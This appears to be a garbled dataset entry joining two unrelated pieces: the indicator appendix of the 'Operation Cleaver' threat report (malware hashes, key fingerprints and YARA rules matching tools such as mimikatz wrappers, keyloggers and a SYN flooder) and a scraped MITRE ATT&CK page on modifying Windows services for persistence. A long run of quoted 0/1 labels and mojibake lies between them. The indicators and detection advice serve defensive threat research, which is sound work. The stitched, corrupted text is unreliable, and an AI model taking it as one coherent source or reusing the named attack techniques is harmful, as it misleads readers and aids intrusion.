68cfc418c72b58b770bdccf19805703e 69d80a27ab0c85ef073badbee7ec55c7 69f9705ecdcc709506f7665ad373c1a0 6cd5f1982693f2ce21effddf18f5baf5 6d4d21258eef96979ce6f2417c6c019f 6ef950941d114c09af359402620d7cba 735cdf3a3e9c06d88de31112782ef831 736aab6c731d098931d6a4bf11a8150e 758f2557922e360bff3d1565e6871ea1 765f3db4421bdf8bb953dffe37398453 78a63bc8433cea162e31a5865d5817c9 836ef6b06c5fd52ecc910a3e3408004a 84384d77ac9835720375943235d33a87 855239a2434a3bc78751d9ba9cfac900 8994e16b14cde144a9cebdff685d8676 9376e5b754ccd94f7c66b811d81e240e 948c570269059928517f155b4b6db1a4 94ef4f98b9c321f74778811f64c68d03 96e372dea573714d34e394550059b1d7 9838f7ead2023061eb79587243910daa 985e86ac1854585d2771fd173b63b98b OPERATION CLEAVER 78 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Samples (MD5) cont. 9a48bee62c41c0640e9564cc37f718bf 9bcb8091ba414a38bfb7a39eccf3f6bc 9e00a52caec6385e0ab1e21e9794a5b0 9ef9ec11c9f83dde38556feaf88b2a29 9feee6fe54ee4ec859f7bad0d798ac4e ad94daecadbac8a54e81a69cacc41441 ad99db10c0c12eaea09b39568a761b52 adf77661a409b5a1304d08b62a1264f5 af58d803b2e0b5d0f194c25ff85a8d81 afdfafb2c1e2af1a48e833da8f35bb83 b163fcda16d8fe860a906f768ef27bc8 b2d78ecce135e008adc3e80915f69798 b3d5e1ff7a7ff10cd738b215f92d1ad5 b7ddb09bdc0d0eb39c364d9b9d6436cc baa76a571329cdc4d7e98c398d80450c bd9fbbbd7dab62ed6a56d00f21c4c67e be6273ebd472a2a499a6c1e48ae81112 be741520f13a2bf8bc064a73e146bf08 bfc59f1f442686af73704eff6c0226f0 c1b5464c0506bea6cf778dd18fa456cc c440ec0a8cf7341b746160a684c51741 c5282f088b90de1ab758424b152d34ac c91887d861d9bd4a5872249b641bc9f9 cb52f84d462ac67bde53eec40128408c cbe05db979444589211e830487df7610 d000071a6bf49da390fef8f12aa9e3f8 d84c3d678f269a0c6beb22ed266efac0 de56ca66423fc5e42808445f2b5631d3 de56ca66423fc5e42808445f2b5631d3 de744bcb7c63b035b6c5c3ec0279c3ac e0f6c5fdde04fbf8cd1a42f75cb06248 e4c9e8f28894e89d6270ad6a4c6cd064 e4e5f1efe44ac06bc3672fd1d8f85630 e5428bcae8b4e84cb5186ad5c83ffc98 e7428dec7deb041692d6575e069c1cf0 e8b1f23616f9d8493e8a1bf0ca0f512a e8ea10d5cde2e8661e9512fb684c4c98 eac61634da4513a10b596e6c8c299126 eb48c318e8fd9a2a7a18da6578db05d6 f1301bad6da06f436e3a3de0244848e1 f3d80d813dc6a239d921169c57c5789d fa7c9a78eda0f3bb9ff8ec827d5bc9ff #OPCLEAVER 79 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Samples (SHA-256) 039ce41fb40a27a46c43bf7ef7d1b08cd5e3f6d71ec08e140cd9166247e783af 0510efd8eae869cd0773a033d5a46d6b7f0162174019e54618887f3085312fcb 064e47074342a6e026de068adaf48c41b2ec2c341c7514768cb7b39425905524 08065f658d65773e583e9ca784148117d87be3a5005a0871cbc4446f42ed5040 0ce968ea8cffb6312f6d17af9044a14f79d6427b9038bcfc6212acb5aa23e74b 0d1f479842cd5bde4f18ab8c85a099da39e13a4051a7c21334e33d55b6f18d76 0fee562cd821f53e864e02b00a59780aed63abca9f7502678fca9bf47b8b12bd 10647c4e7b1b741aeaea9b16d8eb5dae3237ce00dc69f6843790767a277b6204 10cf7a186897243363278cf0283a1687749d9ba43fa713b9f974050f56e97cca 15121b7cbd15143fc0118e06ebe70b7dc1e239b21d865b2c750ed8a0f1f00ef2 1578a4c641f0c7913cdf08267d1a88ac384d586c453b922670be380b7e67a179 1698d8168e860c3377646b12444d38a2e6aebba5a499504a5fc0a73b91d89407 1756ba79cd63458a50df86203380824ea855c8d6bf1c673e05a13a62f14cd170 1aa25a930e8bae5abbe75907c335c7d1d875b60f72f02855a8d37daadc6b469f 1efad3bce90ac1d2011ba686f1ab0e435b9a709763fb238dbcad0f44acddccbe 20dddd8651a26161139b49dfabfb3b4b743c57fcc982afc11d1c5c4264a2a8be 2a13730f8f16e04cece490eee53bbdcc9bd1e01fbbc2a758562a6462d9473742 2db6f74a8aef9fe86aef5dff3334e8dd252ac45e26b4a12e8641a770bbb08b45 2e32c6c9179750df7f1ab35536f09c6b09c73faccea7325fe5c79b5087f5dd6f 32aa8f19e452a1471640cd7be72f806e1997fd5a1a2b2743898ee4cd0aed0dc5 37af3f3b3c43690a2e73d4b5edb968896ec4da7b2c21b12a94e146a10f07fef8 39ba1710545fc9e123abbbce61bda1b00525e59346570a3f8c36f7adde5bb47e 3a7ebd7f502fd3f6b3b88693b1123147621b4030c21df9e0690864e8969e149a 3bdbf591fa0d81606929fdf6abe44ba6e185dd8fc0fa62ade8afde48f704d11a 3d18e18ae97045cc3198026ddc681e7d957a25402b79141a3c6fdc18bb879ad6 3fa302449da1e4fad81143cc48fc80034cbc41804f00e00ac17bdb7dba0b992d 42ca980b7fc7892716a923c7bf3ff6a76ce81f81bd0a83bea40a1735f33b36b8 45a2ea5226c1ce11e8955c99d5b58fd3baa66fb53436be63cb099e96ef30db43 48437fe7d7d0c5fbde340e1392662f7fc421fc05d7c9824f71160475105ad999 4f131095ba56f6d3621a007985ac758d780b0c837f554f6e44d535ed55d33af1 508c7691d535102538aaa6dce32d750c2492dada36506a390c1959f261a0244b 50d11ad32eb72b128185a0aecf39be8085b6b1a8f30cb41d8bc177a1ff8f3067 550a33353730579a7d2b9276cc3b66ca252a59e198285c732fcda46513351c03 5ac9f4e25ef4002274496e18ea537b4c582a3acf3126cc1830a63941d9c91e64 5d1e81f5a4fca25b7afb18eb906c9a53965d81dcf62f9d91499baf03229a8de8 5fb4ae33cac8b2b74e63fc639eeb969a660ef9a7e8310c2769acc925122f047e 616a25378f70474bcb3ad0fad2f1383009c5b7b3cea937be2a5234a110d64b78 634685e43e9f73343cb337ec64a8679485e1ddb4c2de5ecb6a5746aa5ddb1b72 6474f74340e7199919e7532c6756cf459cd20c3391852d80b058eb7997a31e9f 650f143ac0a668536b6750a628ec51e7ca28f5520105eeb87308f557cd74e63c 65509837e15b6a914b611c2d5066ba06ded39b0bed288552e65df20610e35976 OPERATION CLEAVER 80 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 Samples (SHA-256) cont. 65509837e15b6a914b611c2d5066ba06ded39b0bed288552e65df20610e35976 67a2b9c32653161fafaea231b6661d9d797bb0964c79c9ee46cf2bf76571ed45 6888723e56f2e7696ac1e1910f68a1d54d7c76e9eb8e69554980b04e881e0e86 7199acca3d851889efa4a5a42b3f55010f4916294201ce5ad20c76898200ffa9 75b77606175ee696395f1b0e6850d5cd6596e34f74804b30c9bf9e368ebcd299 7890a726603edcd70b6e6f3de367cf891131d833d14c506b26e07935a715048f 79ca080a152bd44f9b07af0f940c303e45e10d516633384f5b3d34a29d0d03c8 7b9fd4b9b36cf84fcbcb3e9bf589d8a51c2166558baf462ab312929fbb584642 80ed4e7a242ee3d1c2656affb04cd56e7262e5a6bf2bec2f8435aa3f47c9b5d1 8129345ce66643d880a3e01e607399279dec7bf9cadc06d9b26134f6d205ed06 8813bd0b4ad6c6155b571c9c1fbcabfeed3812ab8fbd9acd8372385094aaa565 8f02dfd900760cb2c84e4f5a859512f5d719daae063a719c956cbf6185004da5 8f9a45ba73c67ba9c4958ea49508c350a0e1c3caf476ccab2fb8cb3049e3ba46 902f2391b1075e14985bc91316c98cdcf3442ecaeb3ef12422813f946ab8409e 9801f7c552cbcf8c413dade920b96be2eaad9624ba4adaf17f80f815dac58974 9aec3f14ec69e9942a7d3075bb5479dc5fa61e6c2a03cbee1a9269264efac51c 9ba06cb9dcd05e6866ee0e9ecc0c9a480d5b6c8d177ef1907d7fcc02e2871806 9ebbd300ddf70bccbecfe3bf47898e5959cfc090cef8716e2e638d840a24007b a321158d7f5be572ac5536ad57cb4a312bea52430b03da9dda97f4548a080bc3 aa23c55bed562cbf47c84092d0a35b0da35e3db3982a18a28fb45ca70ac6b399 aa7ac2a053ceba819fcd1c8b273db64296c2754a8101291870e142519c416b1b abb0ebd57cf2b0d54cd2b01fd9b11ccd9ed68053174d131922811a9ad22459ea ac272bd9701c5d9cb7e8d1a4e2a191a894e98aa463fb17628c52da16612627d8 ad06e03fdd9eff480ca623ea23ec87c794d99ae6dda308c979fa5173b2b8a514 ad5fbf8e381d92225aa6c022e2bbc175be0e33138b5fa4bbb508b970b33bbc1e ad71283aadb2455f7a1cd4e8283c789599c33d328da44965f6c282f2e600e1b2 aebac79b820891510b9e14ef97892875bf4197797ca91aef149acdc1e6bf6a7c af8deedc78097c387926bb95ebd6ab2a870349794f452f35f84132b0dbe12e09 b18f80a02d45eaed618993447c82916ad8802e552dddccf733a3698794d8cb9d b275caf4cbc4f47b3d772886172438b81a2e11ff5a8683be488de4b219b39070 b42ef5f39aaf6e52ff4e0510b6e5c3fb5c84bf35befcde8bcc18dc86bccbdfb4 b49706b7d5432a368070ee58aa8776cce1ddc2098e863b1b7b36d7b7d79fe6a9 b4d4c421bc70e5a3345d4b8c9d1090ff16ff82870bd38216bb8bac7f1088dafb b99cddd428e78ede109c7bd3683c374ac6010a15c0633939511e39c1ed99f621 bb2b135c7a9b366ec7090404761a9ee9e7c03c56d68165a6789a29e804104068 be4cc2d1504002107a77bb943ad2d22c205cdcc6ad4804c0440970e5e922d30d bf7746d29330b666d82b153989d41406305572b92f6b24a1f1adef6374b58328 bfa66edd0d9ae2c8179893ee881f479b37dce0ce8220a8a18e1b42a879ddff4a c11a244cba9da30173ff1dcb755a377c3b2b1f99cd15a887041937b086113ebd c1c1e5b43b1ac9af79aafa59a6062468142afc2278b6fea0bb4dbbb83af65d06 #OPCLEAVER 81 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 Samples (SHA-256) cont. c30a2fe22050dcac30616a3d27d5c92ea2815d060b365747984913758a209aaa c74df42cfc7c7221f7f28c67bd726a1caad8453fc35daddfb094aaeede2e8e1e c9010e060de6a83c3802ed4e6b7f544e6eb2b5420ee2be5c71646e6a27182bea c901d84878f50a93ab76f2ea31763bebb0acf0c0f9ad86b3abf98e5cde499332 c99fa90038cec60d9aa21a49e537ad9ea55672ed78cf5b429cb4c75ebc5ccd69 c9fc8133e755c14cb02872ba05a2332baefe5e94797479aded46c3db83a7cc14 ca7138bfe08b480386653072482e58f6c48b05a1e7fb8a82cc042806eae9acc2 caa769a21bf97987de4cc92874eaa03e7b0538082c502606aa8ca97823e2e2aa cd75664edea18e3aa303763e6f6c639b3e90ead4b51c2b3e41c808e3d968c848 cffba2a145d91bdecfa8cb32af6964576889faa04591b503a58507cf89ab7cae d045ea925cf461da5c58cc2af8a0f96ec7c961ea62ffcf1de0b04abf9b0fa8ac d11b504b18bc8615e98f3c37d98c6fe11216a0f070a056414ca4407fc298fbd6 d3c2488d321ca6760986fc1a55a3c1db3f7b215fc2883d7e4fabc2871b5a27ac d4e54c1bc1efba20d75861c01bb2cc053b1ab9fadae29bf6c4c04528110056e6 d5d1fa5b5474089e59c05ca88a96257d4449d852b429c620aa773408bd48d067 d8c7aef47bac024188d929e749e90ac172fd51b8f6e16dec4b6635dc2ffa85ef dc21a2189f9e2d63872c0b5ee7ec75316799c60eb018ba9b98398b69efe45365 dc22e4b5ef752d3ec47d7bb3de7534e4a2daa2642de8c9839ad262d33a7aa7dc e180f933aad709883acde441ee64407d49fa4183ae5130480005a0e81a0de491 e250bce96e5f0c162dbe4d87a1a7d65deb910f59c0bea1140897c22eb9dca501 e2e9d60c76225db77668440ff698eacef48b544ffab1ae0c641dcedb5ad570bd e339c7b77113f1a1c4c2f7e307b785cc4fc9145663fe3a612079240efcc9ac93 e3b38627d9e94a7e084e12cbd2acf7e66ce90021972061f8b9b61316eddb3bd6 e401340020688cdd0f5051b7553815eee6bc04a5a962900883f1b3676bf1de53 e4d43cd20d4ea59f68c26d46c30e1819cac5b9552d27fce826b0855494018267 e509843b2c061fa5e6ea7d11554bb22f36e6b79b7cd5cc0639ff63d48ce66336 ed85c3f8d2cccbb6a0ec2b4b27b158b4dbc6885245081901dd51eb2266f4b2bf ee33dd17802ca906fcc68815ff2a7d12ac7fab7f1c272a56444e4fd6715a6227 eea0dcabaabef075081e23fc91b84e07042117bb0362e59f11b17338108d0c1b f7e1a74e08c5718de9edc57facc26dda97ae5b723420a06ef56f1f6f8aa6fb5a fbc531e83359310e2940ffff180a26e28d55396710c748e2ae7e64357273a09d fd4a9af7ba67f794a83a720539666e89f288686a432b5c7133033a2ebde266cc Public/Private Key Fingerprints 0A:E1:AE:85:6A:BB:D5:87:BF:8E:21:4E:92:E6:1F:8C 70:70:2F:11:2B:01:03:4A:70:D9:5E:11:CC:E9:7A:16 6F:DB:BB:BA:DA:7F:FA:4B:3F:A1:C3:46:5E:4B:8F:31:E8:31:F1:EC 78:BE:02:06:B3:1E:57:DF:62:4E:30:16:ED:AA:5C:56:F7:E8:11:62 OPERATION CLEAVER 82 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 YARA Signatures rule BackDoorLogger { strings: $s1 = \xe2\x80\x9cBackDoorLogger\xe2\x80\x9d $s2 = \xe2\x80\x9czhuAddress\xe2\x80\x9d condition: all of them } rule Jasus { strings: $s1 = \xe2\x80\x9cpcap_dump_open\xe2\x80\x9d $s2 = \xe2\x80\x9cResolving IPs to poison...\xe2\x80\x9d $s3 = \xe2\x80\x9cWARNNING: Gateway IP can not be found\xe2\x80\x9d condition: all of them } rule LoggerModule { strings: $s1 = \xe2\x80\x9c%s-%02d%02d%02d%02d%02d.r\xe2\x80\x9d $s2 = \xe2\x80\x9cC:\\\\Users\\\\%s\\\\AppData\\\\Cookies\\\\\xe2\x80\x9d condition: all of them } rule NetC { strings: $s1 = \xe2\x80\x9cNetC.exe\xe2\x80\x9d wide $s2 = \xe2\x80\x9cNet Service\xe2\x80\x9d condition: all of them } rule ShellCreator2 { strings: $s1 = \xe2\x80\x9cShellCreator2.Properties\xe2\x80\x9d $s2 = \xe2\x80\x9cset_IV\xe2\x80\x9d condition: all of them } #OPCLEAVER 83 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 YARA Signatures (cont.) rule SmartCopy2 { strings: $s1 = \xe2\x80\x9cSmartCopy2.Properties\xe2\x80\x9d $s2 = \xe2\x80\x9cZhuFrameWork\xe2\x80\x9d condition: all of them } rule SynFlooder { strings: $s1 = \xe2\x80\x9cUnable to resolve [ %s ]. ErrorCode %d\xe2\x80\x9d $s2 = \xe2\x80\x9cyour target\xe2\x80\x99s IP is : %s\xe2\x80\x9d $s3 = \xe2\x80\x9cRaw TCP Socket Created successfully.\xe2\x80\x9d condition: all of them } rule TinyZBot { strings: $s1 = \xe2\x80\x9cNetScp\xe2\x80\x9d wide $s2 = \xe2\x80\x9cTinyZBot.Properties.Resources.resources\xe2\x80\x9d $s3 = \xe2\x80\x9cAoao WaterMark\xe2\x80\x9d $s4 = \xe2\x80\x9cRun_a_exe\xe2\x80\x9d $s5 = \xe2\x80\x9cnetscp.exe\xe2\x80\x9d $s6 = \xe2\x80\x9cget_MainModule_WebReference_DefaultWS\xe2\x80\x9d $s7 = \xe2\x80\x9cremove_CheckFileMD5Completed\xe2\x80\x9d $s8 = \xe2\x80\x9chttp://tempuri.org/\xe2\x80\x9d $s9 = \xe2\x80\x9cZhoupin_Cleaver\xe2\x80\x9d condition: ($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or $s9) } rule ZhoupinExploitCrew { strings: $s1 = \xe2\x80\x9czhoupin exploit crew\xe2\x80\x9d nocase $s2 = \xe2\x80\x9czhopin exploit crew\xe2\x80\x9d nocase condition: 1 of them } OPERATION CLEAVER 84 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 YARA Signatures (cont.) rule antivirusdetector { strings: $s1 = \xe2\x80\x9cgetShadyProcess\xe2\x80\x9d $s2 = \xe2\x80\x9cgetSystemAntiviruses\xe2\x80\x9d $s3 = \xe2\x80\x9cAntiVirusDetector\xe2\x80\x9d condition: all of them } rule csext { strings: $s1 = \xe2\x80\x9cCOM+ System Extentions\xe2\x80\x9d $s2 = \xe2\x80\x9ccsext.exe\xe2\x80\x9d $s3 = \xe2\x80\x9cCOM_Extentions_bin\xe2\x80\x9d condition: all of them } rule kagent { strings: $s1 = \xe2\x80\x9ckill command is in last machine, going back\xe2\x80\x9d $s2 = \xe2\x80\x9cmessage data length in B64: %d Bytes\xe2\x80\x9d condition: all of them } rule mimikatzWrapper { strings: $s1 = \xe2\x80\x9cmimikatzWrapper\xe2\x80\x9d $s2 = \xe2\x80\x9cget_mimikatz\xe2\x80\x9d condition: all of them } rule pvz_in { strings: $s1 = \xe2\x80\x9cLAST_TIME=00/00/0000:00:00PM$\xe2\x80\x9d $s2 = \xe2\x80\x9cif %%ERRORLEVEL%% == 1 GOTO line\xe2\x80\x9d condition: all of them } #OPCLEAVER 85 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2ff 0476 f6f 4 YARA Signatures (cont.) rule pvz_out { strings: $s1 = \xe2\x80\x9cNetwork Connectivity Module\xe2\x80\x9d wide $s2 = \xe2\x80\x9cOSPPSVC\xe2\x80\x9d wide condition: all of them } rule wndTest { strings: $s1 = \xe2\x80\x9c[Alt]\xe2\x80\x9d wide $s2 = \xe2\x80\x9c<< %s >>:\xe2\x80\x9d wide $s3 = \xe2\x80\x9cContent-Disposition: inline; comp=%s; account=%s; product=%d;\xe2\x80\x9d condition: all of them } rule zhCat { strings: $s1 = \xe2\x80\x9czhCat -l -h -tp 1234\xe2\x80\x9d $s2 = \xe2\x80\x9cABC ( A Big Company )\xe2\x80\x9d wide condition: all of them } rule zhLookUp { strings: $s1 = \xe2\x80\x9czhLookUp.Properties\xe2\x80\x9d condition: all of them } rule zhmimikatz { strings: $s1 = \xe2\x80\x9cMimikatzRunner\xe2\x80\x9d $s2 = \xe2\x80\x9czhmimikatz\xe2\x80\x9d condition: all of them } OPERATION CLEAVER 86 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64 #OPCLEAVER 546 86 96 e6 b2 04 57 66 96 c2 c2 04 46f2 0476f6f64","1","1","0","1","1","1","1","0","0","1","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1" -"Modify Existing Service - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Modify Existing Service Modify Existing Service Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg. Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. [1] [2] ID:\xc2 T1031 Tactic: Persistence Platform:\xc2 Windows Permissions Required:\xc2 Administrator, SYSTEM Data Sources:\xc2 Windows Registry, File monitoring, Process monitoring, Process command-line parameters CAPEC ID: CAPEC-551 Contributors:\xc2 Travis Smith, Tripwire; Matthew Demaske, Adaptforward Version:\xc2 1.0 Mitigations Mitigation Description Audit Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. User Account Management Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Examples Name Description APT19 An APT19 Port 22 malware variant registers itself as a service. [16] APT32 APT32 modified Windows Services to ensure PowerShell scripts were loaded on the system. [14] Bankshot Bankshot can terminate a specific process by its process id. [6] [7] BBSRAT BBSRAT can modify service configurations. [11] Empire Empire can utilize built-in modules to modify service binaries and restore them to their original state. [5] GreyEnergy GreyEnergy chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key. [8] Honeybee Honeybee has batch files that modify the system service COMSysApp to load a malicious DLL. [15] PlugX PlugX has a module to change service configurations as well as start, control, and delete services. [13] PoisonIvy PoisonIvy creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk. [10] PowerSploit PowerSploit contains a collection of Privesc-PowerUp modules that can discover and replace/modify service binaries, paths, and configs. [3] [4] TYPEFRAME TYPEFRAME can delete services from the victim\xe2\x80\x99s machine. [12] Volgmer Volgmer installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry. [9] Detection Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. [17] Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. References The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018. Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018. PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018. PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018. Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018. US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018. Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018. US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \xe2\x80\x93 North Korean Trojan: Volgmer. Retrieved December 7, 2017. Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018. Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016. US-CERT. (2018, June 14). MAR-10135536-12 \xe2\x80\x93 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018. Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018. Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018. Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018. Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018. Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack 